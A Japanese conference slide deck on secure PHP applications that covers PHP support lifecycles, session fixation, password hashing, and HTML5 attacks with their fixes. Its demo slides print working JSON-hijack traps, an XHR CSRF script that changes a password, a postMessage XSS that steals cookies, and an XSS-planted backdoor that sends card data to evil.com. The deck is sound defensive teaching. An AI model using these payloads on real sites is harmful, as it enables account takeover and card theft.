安全なPHPアプリケーションの作り方2013

2.2K Views

September 14, 13

スライド概要

PHPカンファレンス2013における徳丸のプレゼン資料です。後から、参考文献などを加筆しました。

profile-image

徳丸本の中の人 OWASP Japanアドバイザリーボード EGセキュアソリューションズ取締役CTO IPA非常勤職員 YouTubeチャンネル: 徳丸浩のウェブセキュリティ講座 https://j.mp/web-sec-study

シェア

埋め込む »CMSなどでJSが使えない場合

関連スライド

各ページのテキスト
1.

安全なPHPアプリケーションの作り方2013 2013年9月14日 HASHコンサルティング株式会社 徳丸 浩

2.

アジェンダ • PHPのライフサイクルにどうつきあう? • セッションフィクセイション結局どうする • パスワードの守り方 • デモから学ぶ HTML5セキュリティ入門 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 2

3.

PHPのライフサイクルにどうつき あう? 3

5.

サポートライフサイクルポリシーとは • サポートライフサイクルポリシーとは、製品サポートに ついてのサポートポリシーを文書化したもの • 厳密な契約ではないが、購入者に対する「約束」と考え られる • マイクロソフト社の取り組みが有名 – 2002 年 10 月に最初に発表 – 2004 年 6 月に更新 – 詳しくは次のスライドで… Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 5

6.

マイクロソフト社のサポートライフサイクルポリシー メインストリームサポート メインストリームサポート 次のうちいずれか長い方 ・ 製品発売から5年 ・ 後継製品の発売から2年 延長サポート 次のうちいずれか長い方 ・ メインストリームサポート終了から5年 ・ 2番目の後継製品の発売から2年 •最新の製品を使う限り、7年間のサポートが保証されている(追加費用無し) Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 6

7.

【参考】PHPのサポート状況 PHP5.x PHP4.x PHP3.x 3.5年 1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 •オープンソース・ソフトウェアは通常サポートポリシーが明確でない •PHPの場合、最悪ケースで、最新版を使っていても3.5年でサポートが終 了になるケースもあった •アプリケーションのライフサイクルの中で、基盤ソフトのサポート終了を想 定した計画立案が要求される Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 7

8.

Request for Comments: Release Process(PHP) • Yearly release cycle – 3 years release life cycle – 2 years bug fixes only – 1 year security fixes only • 下図のように、PHP5.x(2番目の数字)を使い続けるのは、 2~3年が限度 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved https://wiki.php.net/rfc/releaseprocess より引用 8

9.

サポートライフサイクルポリシーまとめ • ソフトウェア選定時にサポートライフサイクルポリシー を確認すること – PHP以外に、フレームワークやDB、ライブラリ等も • サポート計画を検討する – PHPをRedHat/CentOSのパッケージで導入すれば10年サポー トに – PHPのバージョンアップにとことん付き合うという選択肢 – 途中でバージョンアップする計画を立てておく(予算も) • 他のソフトウェアのサポートライフサイクルにも注意 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 9

10.

セッションフィクセイション結 局どうする 10

11.

PHP5.5.2でStrict Sessionsがマー ジされました 11

12.

大垣さん、まことにおめでとう ございます (_ _) 12

13.

Strict Sessionsとは何か • PHPのセッション管理機構には、未初期化のセッション IDを受け入れる問題があった (Session Adoption) • 例えば、PHPSESSID=ABC をCookieにセットしておく と、そのままセッションIDとして使ってくれる • セッションフィクセーション攻撃の時に、Session Adoptionがあると便利! • セッションフィクセーション対策には、ログイン成功後 に下記を実行すること – session_regenerate_id(true); • PHP5.5.2以降では、 php.iniに下記を指定すると、 Session Adoptionが解消される – session.use_strict_mode = 1 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 13

14.

Strict Sessionsのデモ 14

15.

Strict Sessionsでアプリの書き方は変わる? • Strict SessionsはPHP5.5のみの対応で、PHP5.3やPHP5.4 では対応していない – PHP5.4以前は、session_regenerate_id(true); で対応 • PHP5.5.2以降だと、session_regenerate_id()は不要? – 必要 – 「勝手に作ったセッションIDを受け入れない」だけで、攻撃対 象からセッションIDを入手すれば、セッションフィクセーショ ン攻撃は依然として可能 • 結局、アプリの書き方は変わらない – ログイン成功後に session_regenerate_id(true); Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 15

16.

パスワードの守り方 16

17.

LinkedInからのパスワード漏洩事件 http://www.itmedia.co.jp/enterprise/articles/1206/07/news017.html より引用 17

18.

650万件のパスワードハッシュのうち540万件が1週間で解読 https://twitter.com/jmgosney/statuses/213212108924522496 より引用 Surviving on little more than furious passion for many sleepless days, we now have over 90% of the leaked passwords recovered. http://securitynirvana.blogspot.jp/2012/06/final-word-on-linkedin-leak.html より引用 18

19.

Saltってなに? • ソルト(Salt)とは、ハッシュの元データ(パスワード)に追加す る文字列 • 見かけのパスワードの長さを長くする →レインボーテーブル対策 • ユーザ毎にソルトを変えることで、パスワードが同じでも、異なる ハッシュ値が得られる – ソルトがない場合、パスワードの組み合わせ回数分ですむが、ソルト があると、×ユーザ数 に試行回数が増える – LinkedInの場合は、試行回数が 650万倍に ! • ソルトの要件 – ある程度の長さを確保すること – ユーザ毎に異なるものにすること • ソルトには乱数を用いることが多いが、乱数が必須というわけでは ない(暗号論的に安全な乱数である必要はもちろんない) • ソルトは秘密情報ではない。ソルトは、通常ハッシュ値と一緒に保 存する Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 19

20.

Stretchingってなに? • ストレッチング(Stretching)とは、ハッシュの計算を繰り返すこと • ハッシュの計算を遅くすることにより、辞書攻撃や総当たり攻撃に対 抗する • 1万回ストレッチすると、「 GPUモンスターマシンで20分掛かる」 が20万分になる計算 むむ、これだとパスワードの定期的変更か? – 20万分 = 139日 … • 「悪い」パスワードまで救えるわけではない – 「password」というパスワードをつけていたら、100万回ストレッチし てもすぐに解読されてしまう • 十分長いパスワードをつけてもらえば、ストレッチングは必要ない – 1文字パスワードを長くすることは、約90回のストレッチングに相当する。 パスワードを2文字長くしてもらえば… – ストレッチングは、「弱いパスワード」の救済の意味がある • ストレッチングはメリットとデメリットがあるので、導入の有無と回 数をよく検討すること Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 20

21.

パスワードをハッシュで保存する場合の課題 • 「パスワードリマインダ」が実装できない – 「秘密の質問」に答えるとパスワードを教えてくれるアレ – パスワードリセットで代替 • ハッシュの形式(アルゴリズム、ソルト、ストレッチ回数)の変更 – 生パスワードが分からないのでハッシュの方式変更がバッチ処理では できない – ユーザの認証成功の際にはパスワードが分かるので、その際に方式を 変更すると良い – 緊急を要する場合は、現在パスワードを無効にして、パスワードリセ ットで – ハッシュ値あるいは別フィールドに「方式番号」をもっておく – PHP5.5のpassword_hash関数が便利 (ソルト・ストレッチング内蔵) $1$d641fdabf96912$4b3c3e95dfab179ebfef220172f58171 方式番号 ソルト ハッシュ値 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 21

22.
[beta]
password_hash 関数 (PHP5.5から)

<?php echo password_hash('rasmuslerdorf’, PASSWORD_DEFAULT);
【結果】
$2y$10$.vGA1O9wmRjrwAVXD98HNOgsNpDczlqm3Jq7KnEd1rVAGv3Fykk1a

http://php.net/manual/ja/function.password-hash.php
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved より引用

22

23.
[beta]
password_hash関数の代替(PHP5.3.7~PHP5.4)
function get_salt()
{
$random = file_get_contents('/dev/urandom', false, NULL, 0, 18);
$base64 = base64_encode($random);
return substr(strtr($base64, '+', '.'), 0, 22);
}
function get_hash($password)
{
$salt = get_salt();
return crypt($password, ‘$2y$10$’ . $salt); // $10$ は適宜調整してください
}
function verify_password($password, $hash)
{
$salt = substr($hash, 7, 22);
$new_hash = crypt($password, '$2y$10$' . $salt);
return $hash === $new_hash;
}

Copyright © 2008-2013 HASH Consulting Corp. All rights reserved

23

24.

結局どうすればよいの? • パスワード認証は、利用者とサイト運営者が責任を分かち合ってい る • 利用者に、よいパスワードをつけてもらうのが本筋 • オンライン攻撃に備えて、以下を実施する – アカウントロックの実装 – SQLインジェクションなどの脆弱性対処 – でれきば…二段階認証、リスクベース認証 – Googleなど認証プロバイダの活用 • オフライン攻撃対策は中々決め手がない – ソルトなしのハッシュは、レインボーテーブルで元パスワードが簡単 に求められる – ソルトは必須。できるだけストレッチングもする(password_hash関数 など) – DBのパスワード欄に余裕を持たせ、方式を改良できるようにしておく Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 24

25.

デモから学ぶ HTML5セキュリティ入門 25

26.

デモに出てくるWebサイトの説明 oname.com blog.com アフィリエイトブログ ドメインとるなら おネーム.com 広告モジュール adv.com 広告事業者 evil.com 激安お徳情報(罠サイト) Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 26

27.

DOM Based XSS 27

28.

blogの外観 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 28

29.
[beta]
トラッキング用img要素の生成箇所
iframeの参照

<iframe src="http://adv.com/ad.html?siteId=50341">
</iframe>
iframeのソース(主要部)

<a href="http://oname.com/"><img src="oname.png"></a>
<div id="img"></div>
<script>
var div = document.getElementById('img');
var img = '<img src="track.php?siteId='
+ qstrs.siteId + '">';
div.innerHTML = img;
// siteId を localStorageに保存
localStorage.siteId = parseInt(qstrs.siteId);
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved

29

30.

Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 30

31.

DOM Based XSSの影響(高橋の見解) • 確かにXSSはあるが、ドメイン(オリジンは) http://adv.com であり、他のドメインには影響はない はず • siteIdはlocalStorageに保存しているが、parseIntを通 しているので、汚染されることはない • そもそもblog.comから呼び出される場合、siteIdは固定 なので、攻撃経路がない • 見解の正否は後ほど… Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 31

32.

JSON Hijack 32

33.
[beta]
プロフィール画面
プロフィールの表示(profile.php)
<script src="jquery-1.10.2.min.js"></script>
<script>
$(function() {
[{"name":"Taro Yamada",
$.ajax({
dataType: 'json',
"tel":"03-1111-2222",
url: 'getProfile_json.php'
"mail":"yamada@example.jp",
}).done(function(json) {
$('#name').text(json[0].name);
"addr":"1-1-1, Mita, Minato$('#addr').text(json[0].addr);
city, Tokyo"}]
$('#tel').text(json[0].tel);
$('#mail').text(json[0].mail);
});
});
</script>
プロフィール<br>
氏名:<span id="name"></span><br>
住所:<span id="addr"></span><br>
電話番号:<span id="tel"></span><br>
メールアドレス:<span id="mail"></span><br>
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved

33

34.

JSON Hijackとは… • JSONって、JavaScriptだよね • script要素で読み込めるよね • クッキーも飛ぶよね • JSONデータを盗むワナを作れないか? これは罠サイト script要素はクロスドメインで読み込み可能 クッキーもつくよ <script> // ここにJSONを読む仕掛けを置く </script> <script src="http://oname.com/getProfile_json.php"></script> 34

35.
[beta]
JSON Hijackの罠 (setter版; 一般利用者が閲覧)
<body onload="alert(x)">
罠サイト
<script>
var x = "";
Object.prototype.__defineSetter__("name",
function(v) {
x += 'name = ' + v + "¥n";
});
Object.prototype.__defineSetter__("tel",
function(v) {
x += 'tel = ' + v + "¥n";
});
// …省略
// 以下がJSONデータ
<script src="http://oname.com/getProfile_json.php"></script>
</body>

※ Xperia Arc (Android 2.3.4)にて実行
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved

35

36.
[beta]
JSON Hijackの罠 (IE向け;一般利用者が参照)
<script>
window.onerror = function(e) {
if (e.match(/'({"memo".*)'$/)) {
var msg = 'JSONハイジャックに成功:' + RegExp.$1;
} else {
var msg = 'JSONハイジャックに失敗:' + e;
}
var divmemo = document.getElementById('memo');
var text = document.createTextNode(msg);
divmemo.appendChild(text);
}
</script>
これは罠サイトです(IE限定)
<div id="memo"></div>
<script src="http://oname.com/getProfile_json.php" language="vbscript"></
script>

Copyright © 2008-2013 HASH Consulting Corp. All rights reserved

36

37.

JSON Hijackの対策 • Content-Typeを正しく設定する header('Content-Type: application/json; charset=UTF-8’); • X-Content-Type-Options: nosniff を出力する header('X-Content-Type-Options: nosniff'); • 最新のIEを用いる(CVE-2013-1297対策ずみのもの) – JSON Hijackができることはブラウザのバグ • X-Requested-Withヘッダのチェック – ヘッダ X-Requested-With: XMLHttpRequest があること – jQueryやprototype.jsでは自動的に付与される – script要素で読む場合は、ヘッダは操作できない Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 37

38.

JSONによるXSS 38

39.
[beta]
ドメイン名検索機能(JSON)
http://oname.com/searchdomain_json.php?dname=tokumaru
{"status":"ok","key":"tokumaru","results":["tokumaru.us","
tokumaru.ru"]}
http://oname.com/searchdomain_json.php?dname=<img%20src%3D%23%20
onlerror%3Dalert(1)>
{"status":"fail","key":"<img src=# onlerror=alert(1)>","re
sults":[]}

ブラウザにJSON(application/json)と認
識されれば問題ないが、
HTML(text/html)と認識されるとXSSに

Copyright © 2008-2013 HASH Consulting Corp. All rights reserved

39

40.

XSS実行例 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 40

41.
[beta]
JSONによるXSSの対策
• Content-Typeを正しく出力(これでIE以外OK)
header('Content-Type: application/json; charset=UTF-8');

• X-Content-Type-Options: nosniff ヘッダを出力
header('X-Content-Type-Options: nosniff');
// これで IE8 以降は OK

• リクエスト時にX-Request-Withを付与して、サーバー
側で確認する
– jQuery等では自動的付与。すべてのブラウザで有効な対策

• < や > もUnicodeエスケープする
json_encode($row, JSON_HEX_TAG | JSON_HEX_APOS |
JSON_HEX_QUOT | JSON_HEX_AMP);

Copyright © 2008-2013 HASH Consulting Corp. All rights reserved

41

42.

XHR L2によるCSRF 42

43.
[beta]
CSRF脆弱なサンプル
パスワード変更処理のソース(PHP; 主要部)
session_start();
// ログイン確認
if (isset($_SESSION['id'])) {
$id = $_SESSION['id'];
$stream = file_get_contents(‘php://input’); // リクエスト・ボディ
$json = json_decode($stream, TRUE);
if (isset($json['pwd']) && $json['pwd'] !== '') {
// パスワードがJSONとして渡ってきている場合にパスワード変更
$pwd = $json['pwd'];
// パスワード変更処理(ログにパスワードを吐くのは禁止だが、以下はデモのため)
error_log(“Password is changed. id: ${id} password: ${pwd}”);
// 以下はエラー処理

• 高橋君の見解
– FormのPOST送信ではJSON形式は送信できない
– XMLHttpRequestではクロスドメイン通信はできない
– ∴ どちらで攻撃されても大丈夫
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved

43

44.
[beta]
攻撃スクリプト
攻撃スクリプト(JavaScript; 主要部)
var requester = new XMLHttpRequest();
requester.open('POST', 'http://oname.com/chgpwd_json.php', true);
// 以下がないとGoogle Chromeでプレフライト(OPTIONS)が送信されるので攻撃失敗する
requester.setRequestHeader("Content-type", "text/plain");
// 以下でリクエストにクッキーを付与する
requester.withCredentials = true;
// レスポンスは受け取れないので、コールバック関数はセットしていない
requester.send('{"pwd":"123456"}');

実行結果:サーバーログ
Password is changed. id: yamada

password: 123456

Copyright © 2008-2013 HASH Consulting Corp. All rights reserved

44

45.

解説 • XHR Level2対応のブラウザ(IE以外)の場合、クロスド メイン(クロスオリジン)にホストにリクエスト自体は 無条件に可能 – サーバー側でAccess-Control-Allow-Originヘッダを送信しない と、レスポンスを受け取れないが、CSRF攻撃ではレスポンスは 元々必要ない • setRequestHeaderを用いる場合は、プレフライトに対 応する必要がある • このため、攻撃の場合Content-Typeヘッダを指定でき ない(text/plainは例外らしい) – サーバー側でContent-Typeをチェックすると少し安全に • 根本的には、通常通りトークンによる対策を推奨 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 45

46.

PostMessageに注意 46

47.
[beta]
広告モジュールからpostMessageでsiteIdを受け取る
購入画面にてsiteIdを埋め込み(purchase.php)
window.addEventListener("message", function(event) {
var siteId = event.data;
var form = document.getElementById('form');
var input =
'<input type="hidden" name="siteId" value="' + siteId + '">';
form.innerHTML += input;
} , false);

oname.com
ドメインとるならおネーム.com

postMessage
広告モジュールからsiteIdを送信(affiliate.html)
parent.postMessage(
localStorage.siteId, '*');

広告モジュール

adv.com

Copyright © 2008-2013 HASH Consulting Corp. All rights reserved

47

48.
[beta]
この箇所のDOM Based XSSに関する高橋の考察
• siteIdの埋め込み箇所(下記)には潜在的なXSSがある
var input = '<input type="hidden" name="siteId" value="' + siteId + '">';
form.innerHTML += input;

• しかし、siteIdをlocalStorageに保存する際にparseIntで
フィルタリングしているため、攻撃文字列を埋め込まれる
心配はない

Copyright © 2008-2013 HASH Consulting Corp. All rights reserved

48

49.
[beta]
罠サイトからpostMessaeが可能
evil.com
激安マル秘情報

window.open
①

oname.com
ドメイン取るならおネーム.com

②
postMessage

postMessage

広告モジュール

③
罠画面から購入画面を開き、Cookieを窃取
win = window.open(
'http://oname.com/purchase.php?domain=tokumaru.us', "x");
setTimeout(function () {
win.postMessage('"><img width=1 height=1 src=/ onerror="alert(d
ocument.cookie)">', '*');
}, 2000);

Copyright © 2008-2013 HASH Consulting Corp. All rights reserved

49

50.

postMessage経由のXSS攻撃 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 50

51.
[beta]
postMessageを扱う場合の注意
• 送信側: データを渡してもよいオリジンを指定する
win.postMessage(message, ’http://oname.com’)

• 受信側: データを受け取ってもよいオリジンを確認する
購入画面にてsiteIdを埋め込み(purchase.php)
window.addEventListener("message", function(event) {
if (event.origin !== "http://adv.com") {
alert('不正なpostMessage');
return;
}
var siteId = event.data;
var form = document.getElementById('form');
var input =
'<input type="hidden" name="siteId" value="' + siteId + '">';
form.innerHTML += input;
} , false);
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved

51

52.

これまでのおさらい Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 52

53.

これまでのおさらい(高橋の見解) • 広告表示モジュールにXSS – http://adv.comオリジンにのみ影響とのことで受容した • 広告モジュールから販売サイトへのpostMessage – http://adv.comオリジンからのみ受け取るように制限した • 販売サイトのDOM Based XSS – 広告モジュール(adv.com)にて、siteIdを整数値に制限している ので、実害はないと判断、受容した Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 53

54.

この対策で大丈夫か? Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 54

55.

まぜるな危険 ! Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 55

56.

合わせ技で「大変なこと」に! • 広告表示モジュールにXSS – http://adv.comオリジンにのみ影響とのことで受容した – XSSでローカルストレージに攻撃文字列を書き込める • 広告モジュールから販売サイトへのpostMessage – http://adv.comオリジンからのみ受け取るように制限した – 上記によりhttp://adv.comオリジンから攻撃を受ける可能性 • 販売サイトのDOM Based XSS – 広告モジュール(adv.com)にて、siteIdを整数値に制限している ので、実害はないと判断、受容した – 上記により、攻撃を受ける可能性 Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 56

57.

罠サイトからpostMessaeが可能 adv.com evil.com 激安お徳情報 遷移 ① 攻撃コード ② XSSを利用して 攻撃コードをセット localStorage oname.com ドメインとるならおネーム.com ③ postMessage 攻撃 広告モジュール Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 57

58.
[beta]
攻撃コードの例
adv.comへの攻撃例
http://adv.com/ad.html?siteId=%22%20onload%3d%22localStorage.siteId%3d%26quot;
50341¥%26quot;%3E%3Cimg%20width%3d1%20height%3d1%20src%3d/%20onerror%3
d¥%26quot;document.forms[0].onsubmit%3dfunction(){f%3ddocument.forms[0];r%3dn
ew%20XMLHttpRequest();r.open('GET','http://evil.com/r.php?'%2bf.name.value%2b':'%
2bf.cardnum.value%2b':'%2bf.expire.value,false);r.send();return%20true;}%26quot;;
攻撃後のローカルストレージsiteId
50341"><img width=1 height=1 src=/ onerror="document.forms[0].onsubmit=function()
{f=document.forms[0];r=new XMLHttpRequest();r.open('GET','http://evil.com/r.php?'+f.
name.value+':'+f.cardnum.value+':'+f.expire.value,false);r.send();return true;}
oname.comで実行されるコード(読みやすく整形)
document.forms[0].onsubmit=function(){
f = document.forms[0];
r = new XMLHttpRequest();
r.open(('GET', 'http://evil.com/r.php?'+f.name.value+':'+f.cardnum.value+':'+
f.expire.value, false);
r.send();
サブミットすると、フォームの値を
return true;
外部に漏えいさせるバックドア
}
Copyright © 2008-2013 HASH Consulting Corp. All rights reserved

58

59.

バックドアによる情報漏えい oname.com ドメイン取るならおネーム.com 氏名 カード番号 有効日付 購入 XSSでセットさ れたバックドア evil.com Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 59

60.
[beta]
対策
• HTML組み立てを以下のいずれかの方法で行う
– DOM操作用のメソッドやプロパティを用いる
var div = document.getElementById('img');
var img = document.createElement('img');
img.setAttribute('src', 'track.php?siteId='
+ encodeURIComponent(qstrs.siteId));
div.appendChild(img);

• 文脈に応じたエスケープ処理を施す
var div = document.getElementById('img');
var img = '<img src="track.php?siteId='
+ encodeURIComponent(qstrs.siteId) + '">';
div.innerHTML = img;

Copyright © 2008-2013 HASH Consulting Corp. All rights reserved

60

61.
[beta]
対策(続き)
window.addEventListener("message", function(event) {
var siteId = event.data;
var form = document.getElementById('form');
var input = document.createElement('input');
input.setAttribute('name', 'siteId');
input.setAttribute('value', siteId);
// setAttributeを使えば、HTMLエスケープの必要はない
form.appendChild(input);
} , false);

Copyright © 2008-2013 HASH Consulting Corp. All rights reserved

61

62.

まとめ • HTML5になり攻撃のバリエーションは増加しているが、 基本は変わらない – XSS: 文脈に応じたエスケープ または DOM操作用メソッド・プ ロパティ – CSRF: トークンにより対策 • “手抜きをしない” – 手抜きの例 : XHRではクロスドメイン通信ができないと思い CSRF対策を怠る • 対策はできるだけ局所的に完結する • JSONのXSSに注意 • postMessageによる情報漏えいやデータ汚染に注意 • 最新のjQueryその他のライブラリを用いる Copyright © 2008-2013 HASH Consulting Corp. All rights reserved 62

63.

参考文献(1) XSSの基礎を説明してい ますが、DOM base XSS やAjaxに関する説明は あまりありません Copyright © 2013 HASH Consulting Corp. 63

64.

参考文献(2) DOM base XSSに関する 体系的な説明として貴 重な参考資料です http://www.ipa.go.jp/about/technicalwatch/20130129.html 64

65.

参考文献(3) ブラウザセキュリティの 「面倒くささ」について、逃 げずに丹念に説明してい ます。上級者および上級 者を目指す方向け 65

66.

参考文献(4) • HTML5 and Security Part 1 : Basics and XSS [PPT] – http://utf-8.jp/public/20130613/owasp.pptx • HTML5時代のWebセキュリティ[PPT] – http://utf-8.jp/public/20120915/20120915-html5.pptx • XMLHttpRequestを使ったCSRF対策 – http://d.hatena.ne.jp/hasegawayosuke/20130302/p1 • 機密情報を含むJSONには X-Content-Type-Options: nosniff をつ けるべき – http://d.hatena.ne.jp/hasegawayosuke/20130517/p1 • JSONをvbscriptとして読み込ませるJSONハイジャック(CVE-20131297)に注意 – http://blog.tokumaru.org/2013/05/JSON-information-disclosurevulnerability-CVE-2013-1297.html • PHPのイタい入門書を読んでAjaxのXSSについて検討した(1)~(3) – http://d.hatena.ne.jp/ockeghem/20110905/p1 66

67.

参考文献(5) • セッションアダプションに対する私の見解 – http://tumblr.tokumaru.org/post/37870453034/about-sessionadoption • 本当は怖いパスワードの話 – http://www.atmarkit.co.jp/fsecurity/special/165pswd/01.html • Webアプリでパスワード保護はどこまでやればいいか – http://www.slideshare.net/ockeghem/how-to-guard-yourpassword • いまさら聞けないパスワードの取り扱い方 – http://www.slideshare.net/ockeghem/ss-25447896 67

68.

Thank you 68